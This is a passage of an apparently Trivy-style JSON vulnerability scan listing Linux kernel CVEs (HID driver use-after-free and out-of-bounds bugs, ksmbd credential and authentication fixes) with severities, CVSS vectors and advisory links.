in remove()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: appleir: fix UAF on pending key_up_timer in remove()\n\nappleir_remove() runs hid_hw_stop() before timer_delete_sync().\nhid_hw_stop() synchronously unregisters the HID input device via\nhid_disconnect() -\u003e hidinput_disconnect() -\u003e input_unregister_device(),\nwhich drops the last reference and frees the underlying input_dev when\nno userspace handle holds it open.\n\nkey_up_tick() reads appleir-\u003einput_dev and calls input_report_key() /\ninput_sync() on it. The timer is armed from appleir_raw_event() with\na HZ/8 (~125 ms) timeout on every keydown and key-repeat report. If a\nkey was pressed shortly before the device is disconnected, the timer\ncan fire after hid_hw_stop() has freed input_dev but before the\nteardown drains it.\n\nA simple reorder is not sufficient. Putting the timer drain first\nstill leaves a window where a USB URB completion (raw_event) running\nduring hid_hw_stop() can call mod_timer() and re-arm the timer, which\nthen fires after hidinput_disconnect() has freed input_dev. The same\nURB-completion window also lets raw_event() reach key_up(), key_down()\nand battery_flat() directly, all of which dereference\nappleir-\u003einput_dev.\n\nIntroduce a 'removing' flag on struct appleir, gated by the existing\nspinlock. appleir_remove() sets the flag under the lock and then\nshuts down the timer with timer_shutdown_sync(), which both drains any\nin-flight callback and permanently disables further mod_timer() calls.\nappleir_raw_event() and key_up_tick() bail out early if the flag is\nset, so no path can arm or run the timer, or dereference\nappleir-\u003einput_dev, after remove() has started tearing down.\n\nThe keyrepeat and flatbattery branches of appleir_raw_event()\npreviously called into the input layer without holding the spinlock;\ntake it now so the flag check is well-defined. This incidentally\ncloses a pre-existing read-side race on appleir-\u003ecurrent_key in the\nkeyrepeat branch.\n\nThis bug is structurally a sibling of commit 4db2af929279 (\"HID:\nappletb-kbd: fix UAF in inactivity-timer cleanup path\") and has been\npresent since the driver was introduced.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64363", "https://git.kernel.org/linus/75fe87e19d8aff81eb2c64d15d244ab8da4de945%20%287.2-rc3%29", "https://git.kernel.org/stable/c/05e3decc55d1deca9410e0eb36466651fcbe57a5", "https://git.kernel.org/stable/c/3755f6e25776b8b12ddf062f9b573f05090e4034", "https://git.kernel.org/stable/c/37a52c61d4f78153c38ae1f7491dfcc8ac828dcf", "https://git.kernel.org/stable/c/3d30a0bb0e79621ae921b487835c56198adfafa3", "https://git.kernel.org/stable/c/6b0838e86da88b1d3bff86f19761ff25af73eaca", "https://git.kernel.org/stable/c/75fe87e19d8aff81eb2c64d15d244ab8da4de945", "https://git.kernel.org/stable/c/89ef67359672bf4cd6921524e39f61648fe38c0f", "https://git.kernel.org/stable/c/b363d964ca829c1761c9f04188dfa28f90b0f2d4", "https://kernelcve.org/list/?q=CVE-2026-64363", "https://linux.oracle.com/cve/CVE-2026-64363.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64363-cff0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64363", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64363" ], "PublishedDate": "2026-07-25T10:17:18.96Z", "LastModifiedDate": "2026-11-06T17:18:51.86Z" }, { "VulnerabilityID": "CVE-2026-64364", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64364", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cbce27d9e0c8a0ad6f2597f763044a4111bfa0f458a324bebfad035109e0f7d", "Title": "kernel: HID: multitouch: fix out-of-bounds bit access on mt_io_flags", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: multitouch: fix out-of-bounds bit access on mt_io_flags\n\nmt_io_flags is a single unsigned long, but mt_process_slot(),\nmt_release_pending_palms() and mt_release_contacts() use it as a\nper-slot bitmap indexed by the slot number. That slot number is only\nbounded by td-\u003emaxcontacts, which is taken from the device's\nContactCountMaximum feature report and can be up to 255, not by\nBITS_PER_LONG.\n\nAs a result, a multitouch device that advertises a large contact count\nmakes set_bit()/clear_bit() operate past the mt_io_flags word and\ncorrupt the adjacent members of struct mt_device. The sticky-fingers\nrelease timer is the easiest way to reach this. mt_release_contacts()\nruns\n\n\tfor (i = 0; i \u003c mt-\u003enum_slots; i++)\n\t\tclear_bit(i, \u0026td-\u003emt_io_flags);\n\nwith num_slots == maxcontacts. For maxcontacts around 250 the loop\nclears the bits that overlap td-\u003eapplications.next, zeroing that list\nhead, and the list_for_each_entry() that immediately follows then\ndereferences NULL. The kernel panics from timer (softirq) context. On a\nKASAN build this shows up as a general protection fault in\nmt_release_contacts() with a null-ptr-deref at offset 0x58, which is\noffsetof(struct mt_application, num_received).\n\nThe state is reachable from an untrusted USB or Bluetooth HID\nmultitouch device; no local privileges are required.\n\nStore the per-slot active state in a separately allocated bitmap sized\nfor maxcontacts, the same pattern already used for pending_palm_slots,\nand keep only MT_IO_FLAGS_RUNNING in mt_io_flags. The two\n\"mt_io_flags \u0026 MT_IO_SLOTS_MASK\" arming checks become\nbitmap_empty(td-\u003eactive_slots, td-\u003emaxcontacts).\n\nMove MT_IO_FLAGS_RUNNING back to bit 0. It was bumped to bit 32 by the\nsame commit to leave the low byte for the slot bits; with the slot bits\ngone it fits in bit 0 again, which also keeps it within the unsigned\nlong on 32-bit.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64364", "https://access.redhat.com/security/cve/CVE-2026-64364", "https://git.kernel.org/linus/8813b0612275cc61fe9e6603d0ee019247ade6be%20%287.2-rc3%29", "https://git.kernel.org/stable/c/12e90656e330ff8bbaf2f29c535fdb8a11cc6f55", "https://git.kernel.org/stable/c/152983d87387f6a8ae72b73474cfa55fbcf1ec75", "https://git.kernel.org/stable/c/37daa8c96bd563d03150e23f094cb60703594a6d", "https://git.kernel.org/stable/c/6493ebf9489efef0105078377b973ab33d51af22", "https://git.kernel.org/stable/c/8813b0612275cc61fe9e6603d0ee019247ade6be", "https://git.kernel.org/stable/c/a6d5ce2e1a2d7bf189bde8a659d04b65f0b0725d", "https://git.kernel.org/stable/c/b5c037d6b807017e74a115288f81bc9cd5a5aab8", "https://git.kernel.org/stable/c/e24918ee67c4dc3d20d4670750e46e9b160365f4", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-t3xujjme6oww.toml", "https://linux.oracle.com/cve/CVE-2026-64364.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64364-7c96@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64364", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64364" ], "PublishedDate": "2026-07-25T10:17:19.11Z", "LastModifiedDate": "2026-10-19T21:17:32.93Z" }, { "VulnerabilityID": "CVE-2026-64365", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64365", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a56ed263b9a7d4872b08e582942da5fce97175aa615e76cccf0d488ae6ece37", "Title": "kernel: HID: letsketch: fix UAF on inrange_timer at driver unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: letsketch: fix UAF on inrange_timer at driver unbind\n\nletsketch_driver does not provide a .remove callback, but\nletsketch_probe() arms a per-device timer:\n\n timer_setup(\u0026data-\u003einrange_timer, letsketch_inrange_timeout, 0);\n\nThe timer is re-armed from letsketch_raw_event() with a 100 ms\ntimeout on every pen-in-range report, and its callback dereferences\ndata-\u003einput_tablet to deliver a synthetic BTN_TOOL_PEN release.\n\nletsketch_data is allocated with devm_kzalloc(), and its input_dev\nfields are devm-allocated via letsketch_setup_input_tablet(). On\ndevice unbind (USB unplug or rmmod), the HID core runs its default\nteardown and devm cleanup frees both letsketch_data and the input\ndevices. Because no .remove callback exists, nothing drains the\ntimer first: if raw_event armed it within ~100 ms of the unbind,\nthe pending timer fires on freed memory. This is a UAF read of\ndata and of data-\u003einput_tablet, followed by input_report_key() /\ninput_sync() into the freed input_dev.\n\nThe same problem can occur on the probe error path: if\nhid_hw_start() enabled I/O on an always-poll-quirk device and then\nfailed, raw_event may have armed the timer before devm releases\ndata.\n\nFix by adding a .remove callback that calls hid_hw_stop() first.\nhid_hw_stop() synchronously kills the URBs that deliver raw_event(),\nso once it returns no path can re-arm the timer. timer_shutdown_sync()\nthen drains any in-flight callback and permanently disables further\nmod_timer() calls. Apply the same timer_shutdown_sync() in the probe\nerror path so the timer is guaranteed not to outlive data.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:P/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64365", "https://git.kernel.org/linus/46c8beeccd8ab2c863827254a85ea877654a3534%20%287.2-rc3%29", "https://git.kernel.org/stable/c/17f5928d7010bc9e002930326b59e60e40c09ee3", "https://git.kernel.org/stable/c/2bb6e7143cf70ed281822d26c1848b2897ac36e9", "https://git.kernel.org/stable/c/3eca1a8165b5e7996e699e9df76cb4645e184d42", "https://git.kernel.org/stable/c/46c8beeccd8ab2c863827254a85ea877654a3534", "https://git.kernel.org/stable/c/523db788c0f84612707638e266e8957ca7e3a756", "https://git.kernel.org/stable/c/df3d8aa1a9392da3de66398e7a03422463806b21", "https://kernelcve.org/list/?q=CVE-2026-64365", "https://linux.oracle.com/cve/CVE-2026-64365.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072521-CVE-2026-64365-6535@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64365", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64365" ], "PublishedDate": "2026-07-25T10:17:19.28Z", "LastModifiedDate": "2026-11-06T17:18:52.057Z" }, { "VulnerabilityID": "CVE-2026-64381", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64381", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:09a3e9acf436f6ae348a0be7c6b755fe51699caf01bced87f798fd958f113b7e", "Title": "kernel: smb: client: Fix next buffer leak in receive_encrypted_standard()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: Fix next buffer leak in receive_encrypted_standard()\n\nreceive_encrypted_standard() allocates next_buffer before checking\nwhether the number of compound PDUs already reached MAX_COMPOUND. If\nthe limit check fails, the function returns immediately and the newly\nallocated next_buffer is not assigned to server-\u003esmallbuf/server-\u003ebigbuf,\nmaking it leaked.\n\nMove the MAX_COMPOUND check before allocating next_buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64381", "https://access.redhat.com/security/cve/CVE-2026-64381", "https://git.kernel.org/linus/1c6267a1d5cf4c73b656f8181b310cbbb3e4767b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/07e0ab81df1790afa35732a4e8e07ff831b29008", "https://git.kernel.org/stable/c/1c6267a1d5cf4c73b656f8181b310cbbb3e4767b", "https://git.kernel.org/stable/c/297243e365fc9fe2f8e9b7dd535a65d922cd108b", "https://git.kernel.org/stable/c/67097772df7791c53d608f04bd31c676ccf79b83", "https://git.kernel.org/stable/c/68fc0b6cc03ca58060c0f36454e169f5fe258974", "https://git.kernel.org/stable/c/9136a08dc29328edd9867f2545e73906ac9df93b", "https://git.kernel.org/stable/c/927d4805aea0a287d36dd4f826ee24d69a2afee3", "https://git.kernel.org/stable/c/94e4f672db029414b9888b5137a7559f1febf2d8", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-ptwmydjbmlm4.toml", "https://linux.oracle.com/cve/CVE-2026-64381.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072525-CVE-2026-64381-5b4a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64381", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64381" ], "PublishedDate": "2026-07-25T10:17:21.347Z", "LastModifiedDate": "2026-11-06T17:18:53.167Z" }, { "VulnerabilityID": "CVE-2026-64389", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64389", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9d1e9c4dde2165e7bc5e3a6425e54f9d2e09c2acc5c3b8581b76d02aeb63c25", "Title": "kernel: ksmbd: validate NTLMv2 response before updating session key", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate NTLMv2 response before updating session key\n\nksmbd_auth_ntlmv2() derives the NTLMv2 session key into\nsess-\u003esess_key before it verifies the NTLMv2 response.\nksmbd_decode_ntlmssp_auth_blob() then continues into KEY_XCH even\nwhen ksmbd_auth_ntlmv2() failed.\n\nWith SMB3 multichannel binding, the failed authentication operates on\nan existing session and the session setup error path does not expire\nbinding sessions. A client can send a binding session setup with a\nbad NT proof and KEY_XCH and still modify sess-\u003esess_key before\nSTATUS_LOGON_FAILURE is returned.\n\nRelevant path:\n\n smb2_sess_setup()\n -\u003e conn-\u003ebinding = true\n -\u003e ntlm_authenticate()\n -\u003e session_user()\n -\u003e ksmbd_decode_ntlmssp_auth_blob()\n -\u003e ksmbd_auth_ntlmv2()\n -\u003e calc_ntlmv2_hash()\n -\u003e hmac_md5_usingrawkey(..., sess-\u003esess_key)\n -\u003e crypto_memneq() returns mismatch\n -\u003e KEY_XCH arc4_crypt(..., sess-\u003esess_key, ...)\n -\u003e out_err without expiring the binding session\n\nDerive the base session key into a local buffer and copy it to\nsess-\u003esess_key only after the proof matches. Return immediately on\nauthentication failure so KEY_XCH is only processed after successful\nauthentication.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64389", "https://git.kernel.org/linus/954d196bebb2b50151cb96454c72dc113b2af1ac%20%287.2-rc1%29", "https://git.kernel.org/stable/c/89ca7756d5566ba636bb9092cdbe57dab095e136", "https://git.kernel.org/stable/c/954d196bebb2b50151cb96454c72dc113b2af1ac", "https://git.kernel.org/stable/c/a6a951416b55eaf51ea2742f7ba786f240e70137", "https://git.kernel.org/stable/c/b56400364aed5c34d6e1a0b493081290a5328a9c", "https://git.kernel.org/stable/c/e589e997bddde0a6f45672dd871cba7b3ff28e17", "https://git.kernel.org/stable/c/f5d74c186bab26a5d5a025305e67edd0888aa34d", "https://lore.kernel.org/linux-cve-announce/2026072527-CVE-2026-64389-de36@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64389", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-64389" ], "PublishedDate": "2026-07-25T10:17:22.227Z", "LastModifiedDate": "2026-10-30T13:19:35.7Z" }, { "VulnerabilityID": "CVE-2026-64392", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64392", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:849424eebdc99446f18af46f2c9dd460041cd91bbaf3b2980ff2ed2a092bb690", "Title": "kernel: ksmbd: use opener credentials for delete-on-close", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: use opener credentials for delete-on-close\n\nDelete-on-close can be completed by deferred or durable handle teardown,\nwhere no request work is available. Both the base-file unlink and the ADS\nxattr removal consequently run with the ksmbd worker credentials and can\nbypass filesystem permission checks.\n\nRun both operations with the credentials captured in struct file when the\nhandle was opened. This preserves the authenticated user's fsuid, fsgid,\nsupplementary groups and capability restrictions at final close.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64392", "https://git.kernel.org/linus/52e2f21911158ec961cd5aae19c56460db382af0%20%287.2-rc1%29", "https://git.kernel.org/stable/c/18c59109bb6fb816d5102171666f87cf1e29901d", "https://git.kernel.org/stable/c/3cb2e6e2a6798909507b9d695e4b80e685e72d26", "https://git.kernel.org/stable/c/4b7059974549d278e30fe70e2a4e421f9839817d", "https://git.kernel.org/stable/c/52e2f21911158ec961cd5aae19c56460db382af0", "https://git.kernel.org/stable/c/e72c15085b6d86f45d224d98aa75b5cace4aaab9", "https://git.kernel.org/stable/c/f08b3f451f12eee4abd8a5981803bc36db84458b", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64392-d5b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64392", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64392" ], "PublishedDate": "2026-07-25T10:17:22.557Z", "LastModifiedDate": "2026-10-30T13:19:36.017Z" }, { "VulnerabilityID": "CVE-2026-64393", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64393", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6a3d8936a26c431238774afe5879f13fa877ef18b9a0bea28b2cecf07e35c7c9", "Title": "kernel: ksmbd: run set info with opener credentials", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: run set info with opener credentials\n\nSMB2 SET_INFO handlers call path-based VFS helpers after checking the\naccess mask granted to the SMB handle. Those helpers perform their owner,\ninode permission and LSM checks using the current ksmbd worker credentials.\n\nRun the complete SET_INFO dispatch with the credentials captured when the\nhandle was opened. This also removes the separate security information\ncredential setup and keeps all SET_INFO classes under one credential scope.\n\nDirect override_creds() is used because it can nest with the request\ncredential overrides already used by rename and link helpers.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64393", "https://git.kernel.org/linus/b383bcad3d2fe634b26efbce53e22bbb5753a520%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0ce682867fd506f61f40c76bde7e4205bde34e87", "https://git.kernel.org/stable/c/20ee516a62989a8d505ee432f9e59525ea23984e", "https://git.kernel.org/stable/c/5cbabf3a71575cd31bc7785d92d4ab42338a654b", "https://git.kernel.org/stable/c/8cc9ec711f5255167247a9ab6a7179b787426ed7", "https://git.kernel.org/stable/c/b35afd5cf8fab236ef21117e42ee45691d4ffa7b", "https://git.kernel.org/stable/c/b383bcad3d2fe634b26efbce53e22bbb5753a520", "https://lore.kernel.org/linux-cve-announce/2026072528-CVE-2026-64393-200f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64393", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64393" ], "PublishedDate": "2026-07-25T10:17:22.663Z", "LastModifiedDate": "2026-09-04T19:08:35.457Z" }, { "VulnerabilityID": "CVE-2026-64394", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64394", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 